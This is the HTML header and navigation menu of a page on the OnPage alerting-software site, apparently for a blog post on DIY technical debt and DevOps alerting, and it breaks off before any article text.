<link rel='stylesheet' id='gforms_formsmain_css-css' href='https://www.onpage.com/wp-content/plugins/gravityforms/legacy/css/formsmain.min.css?ver=2.8.17' media='all' />
<link rel='stylesheet' id='gforms_ready_class_css-css' href='https://www.onpage.com/wp-content/plugins/gravityforms/legacy/css/readyclass.min.css?ver=2.8.17' media='all' />
<link rel='stylesheet' id='gforms_browsers_css-css' href='https://www.onpage.com/wp-content/plugins/gravityforms/legacy/css/browsers.min.css?ver=2.8.17' media='all' />
</head>
<body class="wp-singular post-template-default single single-post postid-27702 single-format-standard wp-theme-onpage wp-schema-pro-2.10.3 primer-on-diy-technical-debt-and-devops-alerting sidebar-primary">
<!--[if lt IE 9]>
<div class="alert alert-warning">
You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience. </div>
<![endif]-->
<!-- Header
================================================== -->
<header class="header-main" id="mobilemenuheadrr">
<div class="container">
<div class="brand"><a href="https://www.onpage.com/" title="OnPage"><picture>
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/onpage-logo.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/onpage-logo.png" alt="onpage logo" width="231" height="64"/>
</picture>
</a></div>
<a class="menu-btn" data-toggle="collapse" data-target=".menu-collapse">
<div class="icon-bar">
<span></span>
</div>
</a>
<a href="#menumobile" class="mobileicon"><span></span></a>
<div class="nav-bar">
<div class="menu-collapse collapse">
<a class="icon-close" data-toggle="collapse" data-target=".menu-collapse">
<span></span>
</a>
<nav>
<!-- UberMenu [Configuration:main] [Theme Loc:primary_navigation] [Integration:api] -->
<!-- [UberMenu Responsive Toggle Disabled] [UberMenu Responsive Menu Disabled] --> <nav id="ubermenu-main-9-primary_navigation-2" class="ubermenu ubermenu-nojs ubermenu-main ubermenu-menu-9 ubermenu-loc-primary_navigation ubermenu-responsive-nocollapse ubermenu-horizontal ubermenu-transition-shift ubermenu-trigger-hover_intent ubermenu-skin-minimal ubermenu-bar-align-full ubermenu-items-align-auto ubermenu-bound ubermenu-disable-submenu-scroll ubermenu-sub-indicators ubermenu-retractors-responsive ubermenu-submenu-indicator-closes"><ul id="ubermenu-nav-main-9-primary_navigation" class="ubermenu-nav" data-title="Primary Navigation"><li id="menu-item-66545" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-custom ubermenu-item-has-children ubermenu-advanced-sub ubermenu-item-66545 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-drop ubermenu-has-submenu-mega" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">Products</span><i class='ubermenu-sub-indicator fas fa-angle-down'></i></a><div class="ubermenu-submenu ubermenu-submenu-id-66545 ubermenu-submenu-type-auto ubermenu-submenu-type-mega ubermenu-submenu-drop ubermenu-submenu-align-center" ><ul class="ubermenu-row ubermenu-row-id-75817 ubermenu-autoclear"><li id="menu-item-75818" class="productshead ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75818 ubermenu-item-auto ubermenu-item-header ubermenu-item-level-2 ubermenu-column ubermenu-column-full ubermenu-hide-mobile" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded customheader">Products</div></li></ul><ul class="ubermenu-row ubermenu-row-id-75819 ubermenu-autoclear"><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75820 ubermenu-item-level-2 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-hide-mobile ubermenu-item-type-column ubermenu-column-id-75820"><ul class="ubermenu-submenu ubermenu-submenu-id-75820 ubermenu-submenu-type-stack" ><li id="menu-item-86562" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-86562 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/on-call-alerting/"><span class="ubermenu-target-title ubermenu-target-text">On-Call Alerting</span></a></li><li id="menu-item-75913" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75913 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/what-is-it-oncall-management-system/"><span class="ubermenu-target-title ubermenu-target-text">On-Call Management</span></a></li><li id="menu-item-37629" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-37629 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/incident-alert-management-for-it/"><span class="ubermenu-target-title ubermenu-target-text">Incident Alert Management</span></a></li><li id="menu-item-75827" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75827 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/live-call-routing/"><span class="ubermenu-target-title ubermenu-target-text">Live Call Routing</span></a></li><li id="menu-item-75900" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75900 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/mass-notification-system/"><span class="ubermenu-target-title ubermenu-target-text">Mass Notifications</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75825 ubermenu-item-level-2 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75825"><ul class="ubermenu-submenu ubermenu-submenu-id-75825 ubermenu-submenu-type-stack" ><li id="menu-item-75898" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75898 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/clinical-collaboration-system/"><span class="ubermenu-target-title ubermenu-target-text">Clinical Communication &#038; Collaboration</span></a></li><li id="menu-item-95029" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-95029 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/hipaa-compliant-messaging/"><span class="ubermenu-target-title ubermenu-target-text">HIPAA-Compliant Messaging</span></a></li><li id="menu-item-75901" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75901 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/pager-app/"><span class="ubermenu-target-title ubermenu-target-text">Pager Replacement</span></a></li><li id="menu-item-88728" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-88728 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/on-call-management-for-healthcare/"><span class="ubermenu-target-title ubermenu-target-text">Healthcare On-Call Management</span></a></li><li id="menu-item-86563" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-86563 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/products/patient-doctor-communication/"><span class="ubermenu-target-title ubermenu-target-text">Patient-Provider Communication</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75826 ubermenu-item-level-2 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75826"><ul class="ubermenu-submenu ubermenu-submenu-id-75826 ubermenu-submenu-type-stack" ><li id="menu-item-75830" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75830 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-target-with-icon ubermenu-item-layout-default ubermenu-item-layout-icon_left" href="https://www.onpage.com/free-trial/"><i class="ubermenu-icon fas fa-cloud-download-alt" ></i><span class="ubermenu-target-title ubermenu-target-text">Free Trial</span></a></li><li id="menu-item-75831" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75831 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-target-with-icon ubermenu-item-layout-default ubermenu-item-layout-icon_left" href="https://www.onpage.com/integrations/"><i class="ubermenu-icon fas fa-cog" ></i><span class="ubermenu-target-title ubermenu-target-text">Integrations</span></a></li><li id="menu-item-75829" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75829 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-target-with-icon ubermenu-item-layout-default ubermenu-item-layout-icon_left" href="https://www.onpage.com/onpage-new-features-upgrades-and-integrations/"><i class="ubermenu-icon fas fa-exclamation-triangle" ></i><span class="ubermenu-target-title ubermenu-target-text">What&#8217;s New?</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75832 ubermenu-item-level-2 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75832"><ul class="ubermenu-submenu ubermenu-submenu-id-75832 ubermenu-submenu-type-stack" ><li id="menu-item-96228" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-post ubermenu-item-96228 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-3 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/what-we-built-in-2025-and-why-it-matters-going-into-2026/"><span class="ubermenu-target-title ubermenu-target-text">What We Built in 2025, and Why It Matters Going Into 2026</span></a><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded"><div style="background:#EAEAEA; padding:8px 15px; position:relative; z-index:2;">
<picture style="display:block; margin:0 auto;">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/OnPage-in-2025-2026-blog.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/OnPage-in-2025-2026-blog.png" width="150"/>
</picture>
<p><strong>OnPage 2025-2026 Updates, in a Nutshell</strong></p>
<p>What We Built in 2025, and Why It Matters Going Into 2026.</p>
<p>
<a href="https://www.onpage.com/what-we-built-in-2025-and-why-it-matters-going-into-2026/" class="norm">
Read Blog >
</a>
</p>
</div></div></li></ul></li></ul></div></li><li id="menu-item-41771" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-has-children ubermenu-item-41771 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-drop ubermenu-has-submenu-mega" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/why-onpage/" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">Why OnPage?</span><i class='ubermenu-sub-indicator fas fa-angle-down'></i></a><ul class="ubermenu-submenu ubermenu-submenu-id-41771 ubermenu-submenu-type-auto ubermenu-submenu-type-mega ubermenu-submenu-drop ubermenu-submenu-align-center" ><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75834 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-2 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75834"><ul class="ubermenu-submenu ubermenu-submenu-id-75834 ubermenu-submenu-type-stack" ><li id="menu-item-170" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-170 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/why-onpage/"><span class="ubermenu-target-title ubermenu-target-text">Why OnPage?</span></a></li><li id="menu-item-712" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-712 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/comparison/"><span class="ubermenu-target-title ubermenu-target-text">Comparison</span></a></li><li id="menu-item-716" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-716 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/pricing/"><span class="ubermenu-target-title ubermenu-target-text">Pricing</span></a></li><li id="menu-item-713" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-713 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/reliability/"><span class="ubermenu-target-title ubermenu-target-text">Reliability</span></a></li><li id="menu-item-710" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-710 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/client-testimonials/"><span class="ubermenu-target-title ubermenu-target-text">Testimonials</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75835 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-2 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75835"><ul class="ubermenu-submenu ubermenu-submenu-id-75835 ubermenu-submenu-type-stack" ><li id="menu-item-75836" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75836 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded"><div style="display:block; background: #EAEAEA;padding: 8px 15px 8px 15px;">
<picture style="text-align:center;">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/cim-ebook-cover-12.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/cim-ebook-cover-12.png" width="150"/>
</picture>
<p><strong>Critical Incident Management
</strong></p>
<p>Manage critical incidents like a PRO.</p>
<p><a href="https://www.onpage.com/it-resource-library/ebook-critical-incident-management/" class="norm">Get eBook > </a></p>
</div></div></li></ul></li></ul></li><li id="menu-item-163" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-163 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/how-it-works-onpage-alert-management/" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">How It Works</span></a></li><li id="menu-item-23313" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-custom ubermenu-item-has-children ubermenu-item-23313 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-drop ubermenu-has-submenu-mega" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/industry/" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">Who We Help</span><i class='ubermenu-sub-indicator fas fa-angle-down'></i></a><ul class="ubermenu-submenu ubermenu-submenu-id-23313 ubermenu-submenu-type-auto ubermenu-submenu-type-mega ubermenu-submenu-drop ubermenu-submenu-align-full_width" ><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75837 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75837"><ul class="ubermenu-submenu ubermenu-submenu-id-75837 ubermenu-submenu-type-stack" ><li id="menu-item-75854" class="customcolhead ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75854 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded">By Industry</div></li><li id="menu-item-37588" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-37588 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/clinical-communications-platform/"><span class="ubermenu-target-title ubermenu-target-text">Healthcare</span></a></li><li id="menu-item-75891" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75891 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/it-incident-response/"><span class="ubermenu-target-title ubermenu-target-text">IT Incident Response</span></a></li><li id="menu-item-43129" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-43129 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/managed-service-providers/"><span class="ubermenu-target-title ubermenu-target-text">Managed Services</span></a></li><li id="menu-item-83123" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-83123 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/government-public-safety/"><span class="ubermenu-target-title ubermenu-target-text">Govt. &#038; Federal Agencies</span></a></li><li id="menu-item-763" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-763 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/iot/"><span class="ubermenu-target-title ubermenu-target-text">Internet of Things</span></a></li><li id="menu-item-75857" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75857 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/industry/"><span class="ubermenu-target-title ubermenu-target-text">Other</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75838 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75838"><ul class="ubermenu-submenu ubermenu-submenu-id-75838 ubermenu-submenu-type-stack" ><li id="menu-item-75855" class="customcolhead ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75855 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded">IT Use Case</div></li><li id="menu-item-53944" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-53944 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/business-continuity-management/"><span class="ubermenu-target-title ubermenu-target-text">Business Continuity</span></a></li><li id="menu-item-75860" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75860 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-for-cloud-migration/"><span class="ubermenu-target-title ubermenu-target-text">CloudOps</span></a></li><li id="menu-item-75916" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75916 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/add-incident-alert-management-to-your-devops-pipelines/"><span class="ubermenu-target-title ubermenu-target-text">DevOps</span></a></li><li id="menu-item-79602" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-79602 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/help-desk-communication-and-alerting/"><span class="ubermenu-target-title ubermenu-target-text">Help Desk</span></a></li><li id="menu-item-69987" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-69987 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-for-security-operations/"><span class="ubermenu-target-title ubermenu-target-text">Cybersecurity</span></a></li><li id="menu-item-75917" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75917 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-for-sre-alerting/"><span class="ubermenu-target-title ubermenu-target-text">Site Reliability</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75839 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75839"><ul class="ubermenu-submenu ubermenu-submenu-id-75839 ubermenu-submenu-type-stack" ><li id="menu-item-75856" class="customcolhead ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75856 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded">Healthcare Use Case</div></li><li id="menu-item-75908" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75908 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/behavioral-health/"><span class="ubermenu-target-title ubermenu-target-text">Behavioral Health</span></a></li><li id="menu-item-76240" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-76240 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/emergency-medical-services/"><span class="ubermenu-target-title ubermenu-target-text">Emergency Services</span></a></li><li id="menu-item-76642" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-76642 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/home-health-and-hospice/"><span class="ubermenu-target-title ubermenu-target-text">Home Health and Hospice</span></a></li><li id="menu-item-76693" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-76693 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/midwifery-group-communication/"><span class="ubermenu-target-title ubermenu-target-text">Midwifery Care</span></a></li><li id="menu-item-75918" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-75918 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/telemedicine-pager-messaging-for-telemedicine/"><span class="ubermenu-target-title ubermenu-target-text">Telemedicine</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75840 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75840"><ul class="ubermenu-submenu ubermenu-submenu-id-75840 ubermenu-submenu-type-stack" ><li id="menu-item-75841" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75841 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded"><div style="display:block; background: #EAEAEA;padding: 8px 15px 8px 15px;">
<picture style="text-align:center;">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/capture-2.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/capture-2.png" width="150"/>
</picture>
<p><strong>On-Call Management Guide
</strong></p>
<p>Build an equitable on-call schedule for a happy team!</p>
<p><a href="https://www.onpage.com/it-resource-library/ebook-building-a-winning-on-call-schedule-for-your-team/" class="norm">Get eBook > </a></p>
</div></div></li></ul></li></ul></li><li id="menu-item-21161" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-custom ubermenu-item-has-children ubermenu-item-21161 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-drop ubermenu-has-submenu-mega" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="#" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">Resources</span><i class='ubermenu-sub-indicator fas fa-angle-down'></i></a><ul class="ubermenu-submenu ubermenu-submenu-id-21161 ubermenu-submenu-type-auto ubermenu-submenu-type-mega ubermenu-submenu-drop ubermenu-submenu-align-full_width" ><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75843 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-3 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75843"><ul class="ubermenu-submenu ubermenu-submenu-id-75843 ubermenu-submenu-type-stack" ><li id="menu-item-86279" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-86279 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-university/"><span class="ubermenu-target-title ubermenu-target-text">OnPage University</span></a></li><li id="menu-item-35118" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-35118 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/healthcare-resource-library/"><span class="ubermenu-target-title ubermenu-target-text">Healthcare Resource Library</span></a></li><li id="menu-item-35116" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-35116 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/it-resource-library/"><span class="ubermenu-target-title ubermenu-target-text">IT Resource Library</span></a></li><li id="menu-item-92450" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-92450 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/msp-resource-library-2/"><span class="ubermenu-target-title ubermenu-target-text">MSP Resource Library</span></a></li><li id="menu-item-92258" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-custom ubermenu-item-92258 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default 